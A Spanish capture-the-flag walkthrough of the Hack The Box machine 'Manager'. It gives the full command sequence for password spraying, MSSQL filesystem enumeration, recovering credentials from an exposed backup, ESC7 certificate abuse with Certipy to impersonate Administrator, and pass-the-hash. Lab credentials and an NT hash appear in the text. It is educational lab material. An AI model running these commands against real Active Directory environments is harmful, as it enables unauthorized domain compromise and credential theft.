Manager

Resumen

Manager es una máquina Windows de dificultad media donde comenzaremos enumerando usuarios mediante RID brute y encontraremos una cuenta que reutiliza su nombre de usuario como contraseña. Ese acceso nos permitirá entrar a MSSQL, descubrir un backup expuesto en el web root y recuperar las credenciales de Raven. Finalmente, abusaremos de una configuración vulnerable ESC7 en Active Directory Certificate Services para emitir un certificado como Administrator y terminar comprometiendo el dominio.

Enumeración inicial

Como ya sabíamos por la información de la máquina que estábamos frente a un entorno Active Directory, decidí comenzar directamente comprobando SMB:

nxc smb 10.129.58.30

La respuesta nos permite identificar el dominio:

manager.htb

Lo añadimos a /etc/hosts y continuamos.

Comprobamos los shares accesibles sin credenciales válidas:

nxc smb 10.129.58.30 -u 'anx' -p '' --shares

Aparece IPC$, pero no encontramos ningún recurso interesante que podamos leer.

RID Brute

Probamos RID cycling:

nxc smb 10.129.58.30 -u 'anx' -p '' --rid-brute

Esto devuelve bastantes objetos del dominio, entre ellos varios usuarios.

Mientras tanto también lancé un escaneo completo para conocer toda la superficie disponible:

nmap -p- -vvv 10.129.58.30 -T5 -oA manager_scan

Con los puertos encontrados realicé un segundo escaneo para identificar versiones:

nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49685,49686,49687,49719,49766 -sV -vvv 10.129.58.30 -T5 -oA manager_scan

Entre los servicios encontramos:

• DNS
• Kerberos
• LDAP
• SMB
• MSSQL
• IIS
• WinRM

Todo encaja con un Domain Controller que además aloja SQL Server y un servidor web.

Generando nuestra lista de usuarios

Para evitar limpiar manualmente toda la salida de NetExec, filtramos únicamente los objetos identificados como usuarios:

nxc smb manager.htb -u 'anx' -p '' --rid-brute | grep -i sidtypeuser | awk '{ print $6 }' | awk -F\\ '{print $2}'

Guardamos el resultado en:

users.txt

Ahora podemos probar una técnica sencilla pero bastante útil: comprobar si algún usuario utiliza su propio nombre como contraseña.

nxc smb manager.htb -u users.txt -p users.txt --no-bruteforce

En el primer intento no obtuve ninguna credencial válida.

Después me di cuenta de que algunos nombres obtenidos mediante RID brute conservaban mayúsculas y minúsculas, así que convertí toda la lista a minúsculas y volví a ejecutar exactamente el mismo ataque.

Esta vez encontramos:

operator:operator

🎯 Ya tenemos nuestras primeras credenciales.

Acceso a MSSQL

Entre los puertos encontrados anteriormente teníamos:

1433 - MSSQL

Probamos las credenciales utilizando autenticación de Windows:

impacket-mssqlclient manager.htb/operator:operator@manager.htb -windows-auth

En esta ocasión sí necesitamos **-windows-auth**, porque Operator es una cuenta del dominio y SQL Server está aceptando autenticación integrada de Windows.

Conseguimos acceso a MSSQL.

Enumerando el filesystem con xp_dirtree

Desde SQL Server podemos utilizar:

xp_dirtree

Este procedimiento nos permite enumerar directorios del filesystem aunque nuestra cuenta tenga permisos bastante limitados.

Revisamos el directorio web de IIS:

xp_dirtree /inetpub/wwwroot

Y aparece un archivo especialmente interesante:

website-backup-27-07-23-old.zip

Estamos dentro de:

C:\inetpub\wwwroot

que es el directorio raíz servido por IIS.

Intenté descargarlo directamente desde MSSQL:

download /inetpub/wwwroot/website-backup-27-07-23-old.zip .

Pero la operación falla por falta de permisos.

Sin embargo, aquí tenemos una alternativa mucho más sencilla.

Si el archivo se encuentra dentro del web root y tenemos un servidor HTTP escuchando en el puerto 80, probablemente podamos solicitarlo directamente mediante HTTP.

Así que descargamos:

http://manager.htb/website-backup-27-07-23-old.zip

Y funciona. 🎯

La enumeración con xp_dirtree no nos permitió leer el archivo directamente, pero sí nos reveló su existencia y su ruta pública.

Analizando el backup

Descomprimimos:

unzip website-backup-27-07-23-old.zip

Al listar los archivos inicialmente no aparece nada demasiado interesante.

Pero si mostramos también los archivos ocultos:

ls -a

encontramos:

.old-conf.xml

Los nombres que comienzan por . se ocultan normalmente en los listados estándar de Linux, de ahí que inicialmente no lo viéramos.

Revisamos su contenido:

cat .old-conf.xml

El archivo contiene una antigua configuración LDAP y, dentro de ella, unas credenciales en texto claro:

raven@manager.htb
R4v3nBe5tD3veloP3r!123

Estas credenciales están efectivamente presentes en el backup de configuración.

Acceso como Raven

Probamos WinRM:

evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

La autenticación funciona.

Ya tenemos acceso interactivo como:

MANAGER\raven

y podemos recuperar user.txt.

Ahora toca buscar el escalamiento.

Enumeración de AD CS

Durante la enumeración probé diferentes herramientas y vectores sin encontrar nada especialmente interesante.

Como el entorno dispone de Active Directory Certificate Services, decidí enumerar las autoridades certificadoras y sus permisos utilizando Certipy:

certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -vulnerable

Aquí hay un detalle importante: el hecho de encontrar LDAP/LDAPS durante Nmap no implica automáticamente que AD CS esté instalado. Es Certipy quien nos permite confirmar la existencia de una CA y revisar sus permisos y templates.

La enumeración identifica:

CA Name: manager-DC01-CA

Y, más importante todavía:

ESC7: MANAGER.HTB\Raven has dangerous permissions

🎯 Tenemos nuestro vector.

¿Qué es ESC7?

ESC7 aparece cuando un usuario dispone de permisos peligrosos sobre una Certification Authority, principalmente:

ManageCA
Manage Certificates

En nuestro caso Raven dispone de ManageCA.

Este permiso nos permite modificar determinados aspectos de la CA, incluyendo otorgarnos el permiso Manage Certificates.

A partir de ahí podemos manipular solicitudes pendientes y terminar consiguiendo un certificado emitido para otro usuario privilegiado.

El recorrido que vamos a utilizar será:

ManageCA
↓
Añadir Raven como Officer
↓
Habilitar SubCA
↓
Solicitar certificado como Administrator
↓
La solicitud es rechazada
↓
Aprobar nuestra propia solicitud
↓
Recuperar el certificado
↓
Autenticarnos como Administrator

Añadiendo Raven como Officer

Primero utilizamos nuestro permiso ManageCA para añadir a Raven como officer:

certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -target manager.htb -target-ip 10.129.58.171 -ca manager-dc01-ca -add-officer raven -debug

Al convertirnos en officer conseguimos el permiso necesario para administrar solicitudes de certificados, es decir, Manage Certificates.

Utilicé -debug porque había tenido problemas durante esta parte y necesitaba ver exactamente a qué dirección y servicio estaba intentando conectarse Certipy.

¿Por qué target y target-ip?

Durante la explotación tuve que reiniciar la máquina y HTB le asignó una nueva IP.

El problema era que Certipy seguía intentando utilizar información anterior al comunicarse vía DCOM, lo que terminaba provocando errores de conexión.

Por eso forcé explícitamente:

-target manager.htb
-target-ip 10.129.58.171
-dc-ip 10.129.58.171

No siempre es necesario utilizar todos estos parámetros, pero en este caso me permitió asegurar que todas las comunicaciones apuntaran a la IP correcta.

Habilitando SubCA

El siguiente paso es habilitar el template:

certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -target manager.htb -target-ip 10.129.58.171 -ca manager-dc01-ca -enable-template subca

¿Por qué necesitamos SubCA?

Porque este template permite especificar una identidad alternativa útil para autenticación, pero normalmente únicamente usuarios privilegiados pueden enrolarse en él.

Nuestro objetivo será hacer la solicitud aunque sea rechazada y después aprobarla nosotros mismos gracias a los permisos obtenidos sobre la CA.

Comprobamos que efectivamente esté habilitado:

certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -target manager.htb -target-ip 10.129.58.171 -ca manager-dc01-ca -list-templates

Ya tenemos SubCA disponible.

Solicitando un certificado como Administrator

Ahora realizamos una solicitud utilizando nuestra cuenta Raven, pero estableciendo como UPN:

administrator@manager.htb

Ejecutamos:

certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -target manager.htb -target-ip 10.129.58.171 -ca manager-dc01-ca -template SubCA -upn administrator@manager.htb

La solicitud termina mostrando un error similar a:

Failed to request certificate

Pero aquí está la parte importante:

este fallo es esperado.

Aunque el certificado no se emite en este momento, la CA crea una solicitud y nos devuelve un:

Request ID: 19

Además, Certipy conserva la clave privada asociada a esa solicitud.

Ese 19 será fundamental para el siguiente paso.

Aprobando nuestra propia solicitud

Como ahora somos officer de la CA y tenemos permisos para administrar certificados, podemos coger la solicitud rechazada y aprobarla manualmente:

certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -target manager.htb -target-ip 10.129.58.171 -ca manager-dc01-ca -issue-request 19

En otras palabras:

Raven solicita certificado como Administrator
        ↓
La CA lo rechaza
        ↓
Raven, como Officer, aprueba su propia solicitud

Ese es el punto clave de este abuso de ESC7.

Recuperando el certificado

Ahora recuperamos la solicitud que acabamos de aprobar:

certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.58.171 -target manager.htb -target-ip 10.129.58.171 -ca manager-dc01-ca -retrieve 19

Certipy combina el certificado emitido con la clave privada que había guardado anteriormente y genera:

administrator.pfx

Aquí todavía no tenemos el hash.

Lo que tenemos es un certificado válido que representa a:

administrator@manager.htb

Obteniendo el NT hash de Administrator

Utilizamos ahora el certificado para autenticarnos:

certipy-ad auth -pfx administrator.pfx -domain manager.htb -dc-ip 10.129.58.171

Certipy utiliza el PFX para realizar autenticación mediante certificado y, si todo funciona correctamente, consigue recuperar el NT hash de Administrator.

Obtenemos:

aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

La parte que nos interesa para Pass-the-Hash es:

ae5064c2f62317332c88629e025924ef

Pass-the-Hash

Ya no necesitamos conocer la contraseña real de Administrator.

Utilizamos directamente su NT hash:

evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef

La autenticación funciona.

Comprobamos:

whoami

Resultado:

manager\administrator

¡Manager completada! 🚩

Conclusiones

Manager combina varias técnicas interesantes de Active Directory: RID brute, password spraying, enumeración de MSSQL y exposición de backups web. El punto más importante llega con Raven, cuyo permiso ManageCA permite abusar de ESC7, aprobar nuestra propia solicitud de certificado como Administrator y terminar accediendo al sistema mediante Pass-the-Hash.

Herramientas utilizadas

• Nmap
• NetExec
• Impacket
• mssqlclient
• Evil-WinRM
• Certipy

Referencias

https://www.youtube.com/watch?v=huzIniNUnuI